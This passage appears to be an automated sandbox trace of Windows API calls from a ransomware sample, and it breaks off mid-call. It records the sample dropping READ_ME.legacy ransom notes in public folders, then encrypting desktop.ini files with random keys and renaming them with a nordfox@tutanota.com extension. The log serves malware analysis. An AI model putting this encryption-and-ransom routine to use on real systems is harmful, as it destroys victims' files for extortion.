1 [0113.527] GetLastError () returned 0x0 [0113.527] SetLastError (dwErrCode=0x0) [0113.527] GetLastError () returned 0x0 [0113.527] SetLastError (dwErrCode=0x0) [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0113.527] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Music\\READ_ME.legacy" (normalized: "c:\\users\\public\\documents\\my music\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0113.528] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.528] WriteFile (in: hFile=0x618, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0113.529] CloseHandle (hObject=0x618) returned 1 [0113.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0113.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.530] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0113.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0113.530] GetLastError () returned 0xb7 [0113.530] SetLastError (dwErrCode=0xb7) [0113.530] GetLastError () returned 0xb7 [0113.530] SetLastError (dwErrCode=0xb7) [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0113.530] GetLastError () returned 0xb7 [0113.530] SetLastError (dwErrCode=0xb7) [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0113.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0113.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0113.530] GetLastError () returned 0xb7 [0113.530] SetLastError (dwErrCode=0xb7) [0113.531] GetLastError () returned 0xb7 [0113.531] SetLastError (dwErrCode=0xb7) [0113.531] GetLastError () returned 0xb7 [0113.531] SetLastError (dwErrCode=0xb7) [0113.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0113.531] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Pictures\\READ_ME.legacy" (normalized: "c:\\users\\public\\documents\\my pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0113.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0113.532] WriteFile (in: hFile=0x618, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0113.533] CloseHandle (hObject=0x618) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.533] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0113.533] GetLastError () returned 0xb7 [0113.533] SetLastError (dwErrCode=0xb7) [0113.533] GetLastError () returned 0xb7 [0113.533] SetLastError (dwErrCode=0xb7) [0113.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.533] GetLastError () returned 0xb7 [0113.533] SetLastError (dwErrCode=0xb7) [0113.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.533] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0113.534] GetLastError () returned 0xb7 [0113.534] SetLastError (dwErrCode=0xb7) [0113.534] GetLastError () returned 0xb7 [0113.534] SetLastError (dwErrCode=0xb7) [0113.534] GetLastError () returned 0xb7 [0113.534] SetLastError (dwErrCode=0xb7) [0113.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0113.534] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Videos\\READ_ME.legacy" (normalized: "c:\\users\\public\\documents\\my videos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0113.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0113.535] WriteFile (in: hFile=0x618, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0113.536] CloseHandle (hObject=0x618) returned 1 [0113.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.536] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e82a69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e82a69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0113.536] GetLastError () returned 0xb7 [0113.536] SetLastError (dwErrCode=0xb7) [0113.536] GetLastError () returned 0xb7 [0113.537] SetLastError (dwErrCode=0xb7) [0113.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0113.537] GetLastError () returned 0xb7 [0113.537] SetLastError (dwErrCode=0xb7) [0113.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0113.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0113.537] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e82a69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e82a69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0113.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.537] SetFileAttributesW (lpFileName="\\Users\\Public\\Documents\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0113.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ca8 [0113.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0113.687] CreateFileW (lpFileName="\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0113.687] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=278) returned 1 [0113.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x116) returned 0x571fc8 [0113.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x116) returned 0x5646a8 [0113.687] ReadFile (in: hFile=0x618, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x116, lpOverlapped=0x0) returned 1 [0113.688] SetFilePointer (in: hFile=0x618, lDistanceToMove=-278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.688] WriteFile (in: hFile=0x618, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x116, lpOverlapped=0x0) returned 1 [0113.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0113.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.689] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x116 [0113.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.689] WriteFile (in: hFile=0x618, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.689] WriteFile (in: hFile=0x618, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.690] CloseHandle (hObject=0x618) returned 1 [0113.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0113.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.690] MoveFileExW (lpExistingFileName="\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="\\Users\\Public\\Documents\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\documents\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0113.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0113.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0113.692] FindFirstFileW (in: lpFileName="\\Users\\Public\\Downloads\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6298 [0113.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.693] GetLastError () returned 0x0 [0113.693] SetLastError (dwErrCode=0x0) [0113.693] GetLastError () returned 0x0 [0113.693] SetLastError (dwErrCode=0x0) [0113.693] GetLastError () returned 0x0 [0113.693] SetLastError (dwErrCode=0x0) [0113.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0113.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0113.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6258 [0113.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6258 | out: hHeap=0x520000) returned 1 [0113.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0113.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0113.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0113.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0113.694] FindNextFileW (in: hFindFile=0x5c6298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.694] GetLastError () returned 0x0 [0113.694] SetLastError (dwErrCode=0x0) [0113.694] GetLastError () returned 0x0 [0113.694] SetLastError (dwErrCode=0x0) [0113.694] GetLastError () returned 0x0 [0113.694] SetLastError (dwErrCode=0x0) [0113.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566eb0 [0113.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0113.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0113.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6658 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6658 | out: hHeap=0x520000) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566eb0 | out: hHeap=0x520000) returned 1 [0113.695] FindNextFileW (in: hFindFile=0x5c6298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.695] GetLastError () returned 0x0 [0113.695] SetLastError (dwErrCode=0x0) [0113.695] GetLastError () returned 0x0 [0113.695] SetLastError (dwErrCode=0x0) [0113.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0113.695] GetLastError () returned 0x0 [0113.696] SetLastError (dwErrCode=0x0) [0113.696] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0113.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0113.696] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.696] FindNextFileW (in: hFindFile=0x5c6298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2807568, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2807568, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.696] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0113.696] GetLastError () returned 0x0 [0113.696] SetLastError (dwErrCode=0x0) [0113.696] GetLastError () returned 0x0 [0113.696] SetLastError (dwErrCode=0x0) [0113.696] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0113.697] GetLastError () returned 0x0 [0113.697] SetLastError (dwErrCode=0x0) [0113.697] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0113.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0113.697] FindNextFileW (in: hFindFile=0x5c6298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2807568, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2807568, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.697] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.697] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0113.697] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0113.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0113.697] SetFileAttributesW (lpFileName="\\Users\\Public\\Downloads\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0113.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0113.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0113.698] CreateFileW (lpFileName="\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.698] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=174) returned 1 [0113.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x5e78a0 [0113.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x5e7958 [0113.698] ReadFile (in: hFile=0x61c, lpBuffer=0x5e78a0, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e78a0*, lpNumberOfBytesRead=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0113.699] SetFilePointer (in: hFile=0x61c, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.699] WriteFile (in: hFile=0x61c, lpBuffer=0x5e7958*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7958*, lpNumberOfBytesWritten=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0113.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0113.700] HeapFree 